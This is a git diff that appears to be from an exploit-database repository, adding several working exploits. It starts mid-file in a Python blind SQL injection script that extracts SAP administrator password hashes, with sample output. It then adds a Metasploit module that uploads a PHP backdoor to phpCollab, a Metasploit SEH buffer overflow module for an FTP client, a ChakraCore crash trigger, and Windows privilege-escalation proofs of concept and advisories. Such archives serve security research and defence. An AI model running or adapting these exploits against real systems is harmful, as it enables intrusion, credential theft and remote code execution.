<permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId>
|
||||||
|
</sec:deletePermissionById>
|
||||||
|
</soapenv:Body>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
In SAP test server I have admin user who login is "Administrator" and so I used this payload
|
||||||
|
|
||||||
|
%PRIVATE_DATASOURCE.un:Administrator%
|
||||||
|
|
||||||
|
most SAP's using j2ee_admin username for SAP administrator login
|
||||||
|
|
||||||
|
%PRIVATE_DATASOURCE.un:j2ee_admin%
|
||||||
|
|
||||||
|
You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure)
|
||||||
|
|
||||||
|
1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat#
|
||||||
|
2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages#
|
||||||
|
|
||||||
|
Instead of J2EE_CONFIGENTRY table you can use this tables
|
||||||
|
|
||||||
|
UME_STRINGS_PERM
|
||||||
|
UME_STRINGS_ACTN
|
||||||
|
BC_DDDBDP
|
||||||
|
BC_COMPVERS
|
||||||
|
TC_WDRR_MRO_LUT
|
||||||
|
TC_WDRR_MRO_FILES
|
||||||
|
T_CHUNK !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection
|
||||||
|
T_DOMAIN
|
||||||
|
T_SESSION
|
||||||
|
UME_ACL_SUP_PERM
|
||||||
|
UME_ACL_PERM
|
||||||
|
UME_ACL_PERM_MEM
|
||||||
|
|
||||||
|
|
||||||
|
An example of a working exploit
|
||||||
|
|
||||||
|
C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000
|
||||||
|
start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit
|
||||||
|
this may take a few minutes
|
||||||
|
Found {SHA-512, 10000, 24}M
|
||||||
|
Found {SHA-512, 10000, 24}MT
|
||||||
|
Found {SHA-512, 10000, 24}MTI
|
||||||
|
Found {SHA-512, 10000, 24}MTIz
|
||||||
|
Found {SHA-512, 10000, 24}MTIzU
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUV
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVd
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdF
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFY
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYX
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXN
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk8
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6
|
||||||
|
Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X
|
||||||
|
|
||||||
|
|
||||||
|
And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text
|
||||||
|
|
||||||
|
base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹ºX
|
||||||
|
|
||||||
|
"""
|
||||||
|
import argparse
|
||||||
|
import requests
|
||||||
|
import string
|
||||||
|
|
||||||
|
_magic = "{SHA-512, 10000, 24}"
|
||||||
|
_wrong_magic = "{SHA-511, 10000, 24}"
|
||||||
|
_xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \
|
||||||
|
"xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n " \
|
||||||
|
"<sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \
|
||||||
|
"UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \
|
||||||
|
"0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope> "
|
||||||
|
host = ""
|
||||||
|
port = 0
|
||||||
|
_dictionary = string.digits + string.uppercase + string.lowercase
|
||||||
|
|
||||||
|
def _get_timeout(_data):
|
||||||
|
return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port),
|
||||||
|
headers={
|
||||||
|
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 "
|
||||||
|
"Firefox/57.0",
|
||||||
|
"SOAPAction": "",
|
||||||
|
"Content-Type": "text/xml;charset=UTF-8"
|
||||||
|
},
|
||||||
|
data=_xml.format(_data)).elapsed.total_seconds()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument('--host')
|
||||||
|
parser.add_argument('--port')
|
||||||
|
parser.add_argument('-v')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
args_dict = vars(args)
|
||||||
|
|
||||||
|
host = args_dict['host']
|
||||||
|
port = args_dict['port']
|
||||||
|
|
||||||
|
print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host)
|
||||||
|
_hash = _magic
|
||||||
|
print "this may take a few minutes"
|
||||||
|
for i in range(24): # you can change it if like to get full hash
|
||||||
|
for _char in _dictionary:
|
||||||
|
if not (args_dict['v'] is None):
|
||||||
|
print "checking {0}".format(_hash + _char)
|
||||||
|
if _get_timeout(_hash + _char) > 1.300: # timeout for local SAP server
|
||||||
|
_hash += _char
|
||||||
|
print "Found " + _hash
|
||||||
|
break
|
||||||
104
exploits/php/remote/43519.rb
Executable file
104
exploits/php/remote/43519.rb
Executable file
|
|
@ -0,0 +1,104 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'phpCollab 2.5.1 Unauthenticated File Upload',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a file upload vulnerability in phpCollab 2.5.1
|
||||||
|
which could be abused to allow unauthenticated users to execute arbitrary code
|
||||||
|
under the context of the web server user.
|
||||||
|
|
||||||
|
The exploit has been tested on Ubuntu 16.04.3 64-bit
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Nicolas SERRA <n.serra[at]sysdream.com>', # Vulnerability discovery
|
||||||
|
'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>', # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2017-6090' ],
|
||||||
|
[ 'EDB', '42934' ],
|
||||||
|
[ 'URL', 'http://www.phpcollab.com/' ],
|
||||||
|
[ 'URL', 'https://sysdream.com/news/lab/2017-09-29-cve-2017-6090-phpcollab-2-5-1-arbitrary-file-upload-unauthenticated/' ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Platform' => ['php'],
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [ ['Automatic', {}] ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Sep 29 2017'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, "Installed path of phpCollab ", "/phpcollab/"])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
url = normalize_uri(target_uri.path, "general/login.php?msg=logout")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => url
|
||||||
|
)
|
||||||
|
|
||||||
|
version = res.body.scan(/PhpCollab v([\d\.]+)/).flatten.first
|
||||||
|
vprint_status("Found version: #{version}")
|
||||||
|
|
||||||
|
unless version
|
||||||
|
vprint_status('Unable to get the PhpCollab version.')
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if Gem::Version.new(version) >= Gem::Version.new('0')
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
filename = '1.' + rand_text_alpha(8 + rand(4)) + '.php'
|
||||||
|
id = File.basename(filename,File.extname(filename))
|
||||||
|
register_file_for_cleanup(filename)
|
||||||
|
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{filename}\"")
|
||||||
|
|
||||||
|
print_status("Uploading backdoor file: #{filename}")
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'clients/editclient.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'id' => id,
|
||||||
|
'action' => 'update'
|
||||||
|
},
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data.to_s
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302
|
||||||
|
print_good("Backdoor successfully created.")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Triggering the exploit...")
|
||||||
|
send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, "logos_clients/" + filename)
|
||||||
|
}, 5)
|
||||||
|
end
|
||||||
|
end
|
||||||
77
exploits/windows/dos/43514.cs
Normal file
77
exploits/windows/dos/43514.cs
Normal file
|
|
@ -0,0 +1,77 @@
|
||||||
|
/*
|
||||||
|
Windows: NTFS Owner/Mandatory Label Privilege Bypass EoP
|
||||||
|
Platform: Windows 10 1709 not tested 8.1 Update 2 or Windows 7
|
||||||
|
Class: Elevation of Privilege
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
When creating a new file on an NTFS drive it’s possible to circumvent security checks for setting an arbitrary owner and mandatory label leading to a non-admin user setting those parts of the security descriptor with non-standard values which could result in further attacks resulting EoP.
|
||||||
|
|
||||||
|
Description:
|
||||||
|
|
||||||
|
The kernel limits who can arbitrarily set the Owner and Mandatory Label fields of a security descriptor. Specifically unless the current token has SeRestorePrivilege, SeTakeOwnershipPrivilege or SeRelabelPrivilege you can only set an owner which is set in the current token (for the label is can also be less than the current label). As setting an arbitrary owner in the token or raising the IL is also a privileged operation this prevents a normal user from setting these fields to arbitrary values.
|
||||||
|
|
||||||
|
When creating a new file on an NTFS volume you can specify an arbitrary Security Descriptor with the create request and it will be set during the creation process. If you specify an arbitrary owner or label it will return an error as expected. Looking at the implementation in NTFS the function NtfsCreateNewFile calls NtfsAssignSecurity which then calls the kernel API SeAssignSecurityEx. The problem here is that SeAssignSecurityEx doesn’t take an explicit KPROCESSOR_MODE argument so instead the kernel takes the current thread’s previous access mode. The previous mode however might not match up with the current assumed access mode based on the caller, for example if the create call has been delegated to a system thread.
|
||||||
|
|
||||||
|
A common place this mode mismatch occurs is in the SMB server, which runs entirely in the system process. All threads used by SMB are running with a previous mode of KernelMode, but will create files by specifying IO_FORCE_ACCESS_CHECK so that the impersonated caller identity is used for security checks. However if you specify a security descriptor to set during file creation the SMB server will call into NTFS ending up in SeAssignSecurityEx which then thinks it’s been called from KernelMode and bypasses the Owner/Label checks.
|
||||||
|
|
||||||
|
Is this useful? Almost certainly there’s some applications out there which use the Owner or Label as an indicator that only an administrator could have created the file (even if that’s not a very good security check). For example VirtualBox uses it as part of its security checks for whether a DLL is allowed to be loaded in process (see my blog about it https://googleprojectzero.blogspot.com.au/2017/08/bypassing-virtualbox-process-hardening.html) so I could imagine other examples including Microsoft products. Another example is process creation where the kernel checks the file's label to determine if it needs to drop the IL on the new process, I don't think you can increase the IL but maybe there's a way of doing so.
|
||||||
|
|
||||||
|
Based on the implementation this looks like it would also bypass the checks for setting the SACL, however due to the requirement for an explicit access right this is blocked earlier in the call through the SMBv2 client. I’ve not checked if using an alternative SMBv2 client implementation such as SAMBA would allow you to bypass this restriction or whether it’s still blocked in the server code.
|
||||||
|
|
||||||
|
It’s hard to pin down which component is really at fault here. It could be argued that SeAssignSecurityEx should take a KPROCESSOR_MODE parameter to determine the security checks rather than using the thread’s previous mode. Then again perhaps NTFS needs to do some pre-checking of it’s own? And of course this wouldn’t be an issue if the SMB server driver didn’t run in a system thread. Note this doesn’t bypass changing the Owner/Label of an existing file, it’s only an issue when creating a new file.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
I’ve provided a PoC as a C# source code file. You need to compile it first. It will attempt to create two files with a Security Descriptor with the Owner set to SYSTEM.
|
||||||
|
|
||||||
|
1) Compile the C# source code file.
|
||||||
|
2) Execute the PoC as a normal user or at least a filtered split-token admin user.
|
||||||
|
|
||||||
|
Expected Result:
|
||||||
|
Both file creations should fail with the same error when setting the owner ID.
|
||||||
|
|
||||||
|
Observed Result:
|
||||||
|
The first file which is created directly fails with an error setting the owner ID. The second file which is created via the C$ admin share on the local SMB server succeeds and if the SD is checked the owner is indeed set to SYSTEM.
|
||||||
|
*/
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Security.AccessControl;
|
||||||
|
|
||||||
|
namespace NtfsSetOwner_EoP
|
||||||
|
{
|
||||||
|
class Program
|
||||||
|
{
|
||||||
|
static void CreateFileWithOwner(string path)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
FileSecurity sd = new FileSecurity();
|
||||||
|
sd.SetSecurityDescriptorSddlForm("O:SYG:SYD:(A;;GA;;;WD)");
|
||||||
|
using (var file = File.Create(path, 1024, FileOptions.None, sd))
|
||||||
|
{
|
||||||
|
Console.WriteLine("Created file {0}", path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine("Error creating file {0} with arbitrary owner", path);
|
||||||
|
Console.WriteLine(ex.Message);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void Main(string[] args)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Directory.CreateDirectory(@"c:\test");
|
||||||
|
CreateFileWithOwner(@"c:\test\test1.txt");
|
||||||
|
CreateFileWithOwner(@"\\localhost\c$\test\test2.txt");
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
Console.WriteLine(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
40
exploits/windows/dos/43515.txt
Normal file
40
exploits/windows/dos/43515.txt
Normal file
|
|
@ -0,0 +1,40 @@
|
||||||
|
Windows: NtImpersonateAnonymousToken AC to Non-AC EoP
|
||||||
|
Platform: Windows 10 1703 and 1709
|
||||||
|
Class: Elevation of Privilege
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
The check for an AC token when impersonating the anonymous token doesn’t check impersonation token’s security level leading to impersonating a non-AC anonymous token leading to EoP.
|
||||||
|
|
||||||
|
Description:
|
||||||
|
|
||||||
|
|
||||||
|
There's a missing check for impersonation level in NtImpersonateAnonymousToken when considering if the caller is currently an AC. This results in the function falling into the restricted token case if the caller is impersonating a non AC token at identification or below. Some example code is shown highlighting the issue.
|
||||||
|
|
||||||
|
SeCaptureSubjectContext(&ctx);
|
||||||
|
PACCESS_TOKEN token = ctx.ClientToken;
|
||||||
|
if (!ctx.ClientToken) <--- Should check the token's impersonation level here, and fallback to the PrimaryToken.
|
||||||
|
token = ctx.PrimaryToken;
|
||||||
|
if (token->Flags & 0x4000) {
|
||||||
|
// ... Impersonate AC anonymous token.
|
||||||
|
} else if (!SeTokenIsRestricted(PsReferencePrimaryToken())) { <-- AC PrimaryToken isn't restricted so this check passes
|
||||||
|
// ... Impersonate normal anonymous token.
|
||||||
|
}
|
||||||
|
|
||||||
|
For example when using a split-token admin you can trivially get the linked token and impersonate that. As an AC token isn't restricted this results in impersonating the normal anonymous token which is arguably less restricted than the AC token in some cases and is certainly less restricted than the anonymous AC token which is normally created using SepGetAnonymousToken. For example you can open objects with a NULL DACL if you can traverse to them or open devices which would normally need the special AC device object flag for traversal across the object namespace. You can also access the anonymous token's device map and modify it, potentially leading to bypass of symbolic link protections in certain cases.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge AC and then execute the exploit. You must run this as a UAC split token admin. Note that this ISN’T a UAC bypass, just that a split-token admin has a trivial way of getting a non-AC token by requesting the linked token.
|
||||||
|
|
||||||
|
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
|
||||||
|
2) Execute the PoC as normal user level split-token admin.
|
||||||
|
3) Once complete a dialog should appear indicating the operation is a success.
|
||||||
|
|
||||||
|
Expected Result:
|
||||||
|
The AC anonymous token is impersonated, or at least an error occurs.
|
||||||
|
|
||||||
|
Observed Result:
|
||||||
|
The Non-AC anonymous token is impersonated.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43515.zip
|
||||||
28
exploits/windows/dos/43516.txt
Normal file
28
exploits/windows/dos/43516.txt
Normal file
|
|
@ -0,0 +1,28 @@
|
||||||
|
Windows: NtImpersonateAnonymousToken LPAC to Non-LPAC EoP
|
||||||
|
Platform: Windows 10 1703 and 1709 (not tested Windows 8.x)
|
||||||
|
Class: Elevation of Privilege
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
When impersonating the anonymous token in an LPAC the WIN://NOAPPALLPKG security attribute is ignored leading to impersonating a non-LPAC token leading to EoP.
|
||||||
|
|
||||||
|
Description:
|
||||||
|
|
||||||
|
When running in LPAC the WIN://NOAPPALLPKG attribute is used to block the default use of the ALL APPLICATION PACKAGES sid. When impersonating the anonymous token this attribute isn't forwarded on to the new token in SepGetAnonymousToken. This results in being able to impersonate a "normal" AC anonymous token which could result in getting more access to the system (such as anything which is marked as ANONYMOUS LOGON and ALL APPLICATION PACKAGES but not ALL RESTRICTED APPLICATION PACKAGES or a specific capability SID).
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
I’ve provided a PoC as a C# project. The PoC will respawn itself as the Microsoft Edge LPAC and then execute the exploit.
|
||||||
|
|
||||||
|
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work. Ensure the main executable and DLLs are in a user writable location (this is needed to tweak the file permissions for AC).
|
||||||
|
2) Execute the PoC as normal user
|
||||||
|
3) Once complete a dialog should appear indicating the operation is a success.
|
||||||
|
|
||||||
|
Expected Result:
|
||||||
|
The anonymous token is an LPAC.
|
||||||
|
|
||||||
|
Observed Result:
|
||||||
|
The anonymous token is a normal AC.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43516.zip
|
||||||
36
exploits/windows/dos/43517.txt
Normal file
36
exploits/windows/dos/43517.txt
Normal file
|
|
@ -0,0 +1,36 @@
|
||||||
|
Windows: SMB Server (v1 and v2) Mount Point Arbitrary Device Open EoP
|
||||||
|
Platform: Windows 10 1703 and 1709 (seems the same on 7 and 8.1 but not extensively tested)
|
||||||
|
Class: Elevation of Privilege
|
||||||
|
|
||||||
|
Summary:
|
||||||
|
|
||||||
|
The SMB server driver (srv.sys and srv2.sys) don't check the destination of a NTFS mount point when manually handling a reparse operation leading to being able to locally open an arbitrary device via an SMB client which can result in EoP.
|
||||||
|
|
||||||
|
Description:
|
||||||
|
|
||||||
|
Note before I start event though this involves SMB this is only a local issue, I don't know of anyway to exploit this remotely without being able to run an application on the local machine.
|
||||||
|
|
||||||
|
NTFS mount points are handled local to the SMB server so that the client does not see them. This is different from NTFS symbolic links which are passed back to the client to deal with. In order to handle the symbolic link case the server calls IoCreateFileEx from Smb2CreateFile passing the IO_STOP_ON_SYMLINK flag which results in the IoCreateFileEx call failing with the STATUS_STOPPED_ON_SYMLINK code. The server can then extract the substitution path from the reparse pointer buffer and either pass the buffer to the client if it's a symbolic link or handle it if it's a mount point.
|
||||||
|
|
||||||
|
The way the server handles a symbolic link is to recall IoCreateFileEx in a loop (it does check for a maximum iteration count although I'd swear that's a recent change) passing the new substitute path. This is different to how the IO manager would handle this operation. In the IO manager's case the reparse operation is limited to a small subset of device types, such as Disk Volumes. If the new target isn't in the small list of types then the reparse will fail with an STATUS_IO_REPARSE_DATA_INVALID error. However the SMB server does no checks so the open operation can be redirected to any device. This is interesting due to the way in which the device is being opened, it's in a system thread and allows a caller to pass an arbitrary EA block which can be processed by the device create handler.
|
||||||
|
|
||||||
|
One use for this is being able to the spoof the process ID and session ID accessible from a named pipe using APIs such as GetNamedPipeClientProcessId. Normally to set these values to arbitrary values requires kernel mode access, which the SMB driver provides. While you can open a named pipe via SMB anyway in that case you can't specify the arbitrary values as the driver provides its own to set the computer name accessible with GetNamedPipeClientComputerName. I've not found any service which uses these values for security related properties.
|
||||||
|
|
||||||
|
Note that both SMBv1 and SMBv2 are vulnerable to the same bug even the code isn't really shared between them.
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
|
||||||
|
I’ve provided a PoC as a C# project. It creates a mount point to \Device and then tries to open the CNG driver directly and via the local share for the drive.
|
||||||
|
|
||||||
|
1) Compile the C# project. It will need to grab the NtApiDotNet from NuGet to work.
|
||||||
|
2) Execute the PoC as a normal user.
|
||||||
|
|
||||||
|
Expected Result:
|
||||||
|
Both direct and via SMB should fail with STATUS_IO_REPARSE_DATA_INVALID error.
|
||||||
|
|
||||||
|
Observed Result:
|
||||||
|
The direct open fails with STATUS_IO_REPARSE_DATA_INVALID however the one via SMB fails with STATUS_INVALID_INFO_CLASS which indicates that the CNG driver was opened.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43517.zip
|
||||||
44
exploits/windows/dos/43522.js
Normal file
44
exploits/windows/dos/43522.js
Normal file
|
|
@ -0,0 +1,44 @@
|
||||||
|
/*
|
||||||
|
Here's a snippet of AppendLeftOverItemsFromEndSegment in JavascriptArray.inl.
|
||||||
|
|
||||||
|
growby = endSeg->length;
|
||||||
|
current = current->GrowByMin(recycler, growby);
|
||||||
|
CopyArray(current->elements + endIndex + 1, endSeg->length,
|
||||||
|
((Js::SparseArraySegment<T>*)endSeg)->elements, endSeg->length);
|
||||||
|
LinkSegments((Js::SparseArraySegment<T>*)startPrev, current);
|
||||||
|
if (HasNoMissingValues())
|
||||||
|
{
|
||||||
|
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
|
||||||
|
{
|
||||||
|
SetHasNoMissingValues(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
In the "ScanForMissingValues" method, it uses "head". But it doesn't check the grown segment "current" is equal to "head" before calling the method.
|
||||||
|
I guess it shoud be like:
|
||||||
|
if (current == head && HasNoMissingValues())
|
||||||
|
{
|
||||||
|
if (ScanForMissingValues<T>(endIndex + 1, endIndex + growby))
|
||||||
|
{
|
||||||
|
SetHasNoMissingValues(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
|
||||||
|
function trigger() {
|
||||||
|
let arr = [1.1];
|
||||||
|
let i = 0;
|
||||||
|
for (; i < 1000; i += 0.5) {
|
||||||
|
arr[i + 0x7777] = 2.0;
|
||||||
|
}
|
||||||
|
|
||||||
|
arr[1001] = 35480.0;
|
||||||
|
|
||||||
|
for (; i < 0x7777; i++) {
|
||||||
|
arr[i] = 1234.3;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (let i = 0; i < 100; i++) {
|
||||||
|
trigger();
|
||||||
|
}
|
||||||
111
exploits/windows/remote/43518.rb
Executable file
111
exploits/windows/remote/43518.rb
Executable file
|
|
@ -0,0 +1,111 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::TcpServer
|
||||||
|
include Msf::Exploit::Seh
|
||||||
|
include Msf::Exploit::Remote::Egghunter
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'LabF nfsAxe 3.7 FTP Client Stack Buffer Overflow',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote
|
||||||
|
code execution.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Tulpa', # Original exploit author
|
||||||
|
'Daniel Teixeira' # MSF module author
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '42011' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00\x0a\x10",
|
||||||
|
},
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
# p/p/r in wcmpa10.dll
|
||||||
|
[ 'Windows Universal', {'Ret' => 0x6801549F } ]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'SRVHOST' => '0.0.0.0',
|
||||||
|
},
|
||||||
|
'DisclosureDate' => 'May 15 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
srv_ip_for_client = datastore['SRVHOST']
|
||||||
|
if srv_ip_for_client == '0.0.0.0'
|
||||||
|
if datastore['LHOST']
|
||||||
|
srv_ip_for_client = datastore['LHOST']
|
||||||
|
else
|
||||||
|
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
srv_port = datastore['SRVPORT']
|
||||||
|
|
||||||
|
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_client_connect(client)
|
||||||
|
return if ((p = regenerate_payload(client)) == nil)
|
||||||
|
print_status("#{client.peerhost} - connected.")
|
||||||
|
|
||||||
|
res = client.get_once.to_s.strip
|
||||||
|
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
|
||||||
|
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
|
||||||
|
welcome = "220 Welcome.\r\n"
|
||||||
|
client.put(welcome)
|
||||||
|
|
||||||
|
res = client.get_once.to_s.strip
|
||||||
|
print_status("#{client.peerhost} - Request: #{res}")
|
||||||
|
print_status("#{client.peerhost} - Response: sending 331 OK")
|
||||||
|
user = "331 OK.\r\n"
|
||||||
|
client.put(user)
|
||||||
|
|
||||||
|
res = client.get_once.to_s.strip
|
||||||
|
print_status("#{client.peerhost} - Request: #{res}")
|
||||||
|
print_status("#{client.peerhost} - Response: Sending 230 OK")
|
||||||
|
pass = "230 OK.\r\n"
|
||||||
|
client.put(pass)
|
||||||
|
res = client.get_once.to_s.strip
|
||||||
|
print_status("#{client.peerhost} - Request: #{res}")
|
||||||
|
|
||||||
|
eggoptions = { :checksum => true }
|
||||||
|
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
|
||||||
|
|
||||||
|
# "\x20"s are used to make the attack less obvious
|
||||||
|
# on the target machine's screen.
|
||||||
|
sploit = "220 \""
|
||||||
|
sploit << "\x20"*(9833 - egg.length)
|
||||||
|
sploit << egg
|
||||||
|
sploit << generate_seh_record(target.ret)
|
||||||
|
sploit << hunter
|
||||||
|
sploit << "\x20"*(576 - hunter.length)
|
||||||
|
sploit << "\" is current directory\r\n"
|
||||||
|
|
||||||
|
print_status("#{client.peerhost} - Request: Sending the malicious response")
|
||||||
|
client.put(sploit)
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
@ -5451,6 +5451,14 @@ id,file,description,date,author,type,platform,port
|
||||||
